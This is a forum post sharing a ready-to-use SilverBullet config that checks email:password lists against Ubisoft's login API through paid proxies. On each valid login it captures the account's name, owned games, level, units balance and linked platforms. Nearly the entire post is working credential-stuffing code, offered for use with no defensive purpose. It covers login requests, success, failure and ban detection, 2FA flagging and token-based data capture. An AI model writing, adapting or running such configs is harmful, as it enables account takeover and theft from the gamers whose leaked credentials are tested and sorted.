Ubisoft Config + Capture

Tools
User avatar
ltx_Lazzarus
Posts: 148
Joined: Tue Apr 09, 2024 8:05 pm

Ubisoft Config + Capture

Postby ltx_Lazzarus » Tue May 28, 2024 6:47 am

Email : Pass
Proxy: Yes Paid
Capture: Name On Platform / Owned Games / Account Level / Units Balance / Platform Linked

SAVE IT AS .svb FILE:

[SETTINGS]
{
"Name": "Ubiplay",
"SuggestedBots": 1,
"Max*****M": 0,
"LastModified": "2023-12-28T02:22:17.9839345-05:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "",
"Version": "1.1.2 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "Uplay",
"IconPath": "Icon\\svbfile.ico",
"LicenseSource": null,
"Message": null,
"MessageColor": "#FFFFFFFF",
"HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"*****MColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
FUNCTION Base64Encode "<USER>:<PASS>" -> VAR "B64Enc"

REQUEST POST "https://public-ubiservices.ubi.com/v3/profiles/sessions"
CONTENT "{\"rememberMe\":true}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "Authorization: Basic <B64Enc>"
HEADER "Host: public-ubiservices.ubi.com"
HEADER "Origin: https://connect.ubisoft.com"
HEADER "Referer: https://connect.ubisoft.com/"
HEADER "Ubi-AppId: c5393f10-7ac7-4b4f-90fa-21f8f3451a04"
HEADER "Ubi-RequestedPlatformType: uplay"

KEYCHECK
KEYCHAIN Failure OR
KEY "Invalid credentials"
KEY "Authentication forbidden because of suspicious activity"
KEYCHAIN Success OR
KEY "\"ticket\""
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "403"
KEY "<RESPONSECODE>" Contains "409"
KEYCHAIN Custom "2FACTOR" OR
KEY "twoFactorAuthenticationTicket\":\""

PARSE "<SOURCE>" JSON "nameOnPlatform" CreateEmpty=FALSE -> CAP "nameOnPlatform"

PARSE "<SOURCE>" JSON "ticket" -> VAR "Token"

PARSE "<SOURCE>" JSON "userId" -> VAR "userId"

PARSE "<SOURCE>" JSON "sessionId" -> VAR "sessionId"

REQUEST GET "https://public-ubiservices.ubi.com/v3/profiles/me/2fa"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
HEADER "Authorization: Ubi_v1 t=<Token>"
HEADER "Host: public-ubiservices.ubi.com"
HEADER "Origin: https://account.ubisoft.com"
HEADER "Referer: https://account.ubisoft.com/"
HEADER "Ubi-AppId: c5393f10-7ac7-4b4f-90fa-21f8f3451a04"
HEADER "Ubi-LocaleCode: en-GB"
HEADER "Ubi-SessionId: <sessionId>"

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "CUSTOM" OR
KEY "\"active\":true"

REQUEST POST "https://public-ubiservices.ubi.com/v1/profiles/me/uplay/graphql"
CONTENT "{\"operationName\":\"AllGames\",\"variables\":{\"limit\":null,\"owned\":false,\"latestReleasesMaxDate\":\"2021-07-26T05:59:11.870Z\"},\"query\":\"query AllGames($latestReleasesMaxDate: String!) { viewer { id ...ownedGamesList ...comingSoonGamesList latestReleases: games(filterBy: {isOwned: false, game: {isReleased: true, releasedAfter: $latestReleasesMaxDate}}, orderBy: {field: RELEASE_DATE, direction: DESC}) { totalCount nodes { ...gameProps __typename } __typename } otherGames: games(filterBy: {isOwned: false, game: {isReleased: true, releasedBefore: $latestReleasesMaxDate}}, orderBy: {field: NAME, direction: ASC}) { totalCount nodes { ...gameProps __typename } __typename } __typename }}fragment gameProps on Game { id spaceId name slug coverUrl: lowBoxArtUrl bannerUrl: backgroundUrl releaseDate releaseStatus platform { ...platformProps __typename } __typename}fragment platformProps on Platform { id name type __typename}fragment ownedGameProps on Game { ...gameProps viewer { meta { id isOwned lastPlayedDate lastPlayedOn { ...platformProps __typename } ownedPlatformGroups { ...platformProps __typename } ownedCrossplayPlatforms { nodes { ...platformProps __typename } __typename } __typename } __typename } __typename}fragment ownedGamesList on User { lastPlayedGames: games(limit: 2, filterBy: {isOwned: true}, orderBy: [{field: LAST_PLAYED_DATE, direction: DESC}]) { totalCount nodes { ...ownedGameProps isPeriodicChallengeSupported viewer { meta { id ...friendsPlayingGames rewards { purchasesCount totalPurchasesCount __typename } classicChallenges { completedCount totalCount __typename } availablePeriodicChallenges: periodicChallenges(filterBy: {periodicChallenge: {i*****pired: false}}) { totalCount __typename } completedPeriodicChallenges: periodicChallenges(filterBy: {isCompleted: true}) { totalCount __typename } __typename } __typename } __typename } __typename } ownedGames: games(offset: 2, filterBy: {isOwned: true}, orderBy: [{field: LAST_PLAYED_DATE, direction: DESC}]) { totalCount nodes { ...ownedGameProps __typename } __typename } __typename}fragment friendsPlayingGames on UserGameMeta { friends { edges { node { id name avatarUrl networks { edges { node { id publicCodeName __typename } meta { id name __typename } __typename } __typename } __typename } meta { id lastPlayedDate ownedCrossplayPlatforms { nodes { id name type __typename } __typename } __typename } __typename } __typename } __typename}fragment comingSoonGamesList on User { comingSoonGames: games(filterBy: {isOwned: false, game: {isReleased: false}}, orderBy: [{field: RELEASE_DATE}]) { totalCount nodes { ...gameProps facebookUrl instagramUrl redditUrl twitterUrl websiteUrl __typename } __typename } __typename}\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
HEADER "authorization: Ubi_v1 t=<Token>"
HEADER "origin: https://ubisoftconnect.com"
HEADER "referer: https://ubisoftconnect.com/"
HEADER "sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Microsoft Edge\";v=\"97\", \"Chromium\";v=\"97\""
HEADER "sec-ch-ua-mobile: ?0"
HEADER "sec-ch-ua-platform: \"Windows\""
HEADER "sec-fetch-dest: empty"
HEADER "sec-fetch-mode: cors"
HEADER "sec-fetch-site: cross-site"
HEADER "ubi-appid: 314d4fef-e568-454a-ae06-43e3bece12a6"
HEADER "ubi-localecode: es-ES"
HEADER "ubi-profileid: <userId>"
HEADER "ubi-sessionid: <sessionId>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69"

PARSE "<SOURCE>" LR "ownedGames\":{\"totalCount\":" "," Recursive=TRUE CreateEmpty=FALSE -> CAP "ownedGames"

PARSE "<SOURCE>" LR "spaceId" "isOwned\":true" Recursive=TRUE -> VAR "platformGames"

PARSE "<platformGames>" LR "slug\":\"" "\",\"coverUrl" Recursive=TRUE CreateEmpty=FALSE -> CAP "platformGames"

REQUEST POST "https://public-ubiservices.ubi.com/v1/profiles/me/uplay/graphql"
CONTENT "{\"operationName\":\"userProfileMetrics\",\"variables\":{},\"query\":\"query userProfileMetrics { viewer { id level friends { totalCount __typename } unitsBalance __typename }}\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
HEADER "authorization: Ubi_v1 t=<Token>"
HEADER "origin: https://ubisoftconnect.com"
HEADER "referer: https://ubisoftconnect.com/"
HEADER "sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Microsoft Edge\";v=\"97\", \"Chromium\";v=\"97\""
HEADER "sec-ch-ua-mobile: ?0"
HEADER "sec-ch-ua-platform: \"Windows\""
HEADER "sec-fetch-dest: empty"
HEADER "sec-fetch-mode: cors"
HEADER "sec-fetch-site: cross-site"
HEADER "ubi-appid: 314d4fef-e568-454a-ae06-43e3bece12a6"
HEADER "ubi-localecode: es-ES"
HEADER "ubi-profileid: <userId>"
HEADER "ubi-sessionid: <sessionId>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69"

PARSE "<SOURCE>" LR "level\":" "," Recursive=TRUE CreateEmpty=FALSE -> CAP "accountLevel"

PARSE "<SOURCE>" LR "unitsBalance\":" "," Recursive=TRUE CreateEmpty=FALSE -> CAP "unitsBalance"

REQUEST GET "https://public-ubiservices.ubi.com/v3/users/<userId>/initialProfiles"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
HEADER "authorization: Ubi_v1 t=<Token>"
HEADER "origin: https://ubisoftconnect.com"
HEADER "referer: https://ubisoftconnect.com/"
HEADER "sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Microsoft Edge\";v=\"97\", \"Chromium\";v=\"97\""
HEADER "sec-ch-ua-mobile: ?0"
HEADER "sec-ch-ua-platform: \"Windows\""
HEADER "sec-fetch-dest: empty"
HEADER "sec-fetch-mode: cors"
HEADER "sec-fetch-site: cross-site"
HEADER "ubi-appid: 314d4fef-e568-454a-ae06-43e3bece12a6"
HEADER "ubi-localecode: es-ES"
HEADER "ubi-profileid: <userId>"
HEADER "ubi-sessionid: <sessionId>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69"

PARSE "<SOURCE>" JSON "platformType" Recursive=TRUE -> VAR "platformType"

FUNCTION Replace "xbl" "Xbox" "<platformType>" -> CAP "platformLinked"
Attachments
ubisoftcon.png
ubisoftcon.png (550.74 KiB) Viewed 3656 times

Return to “Tools”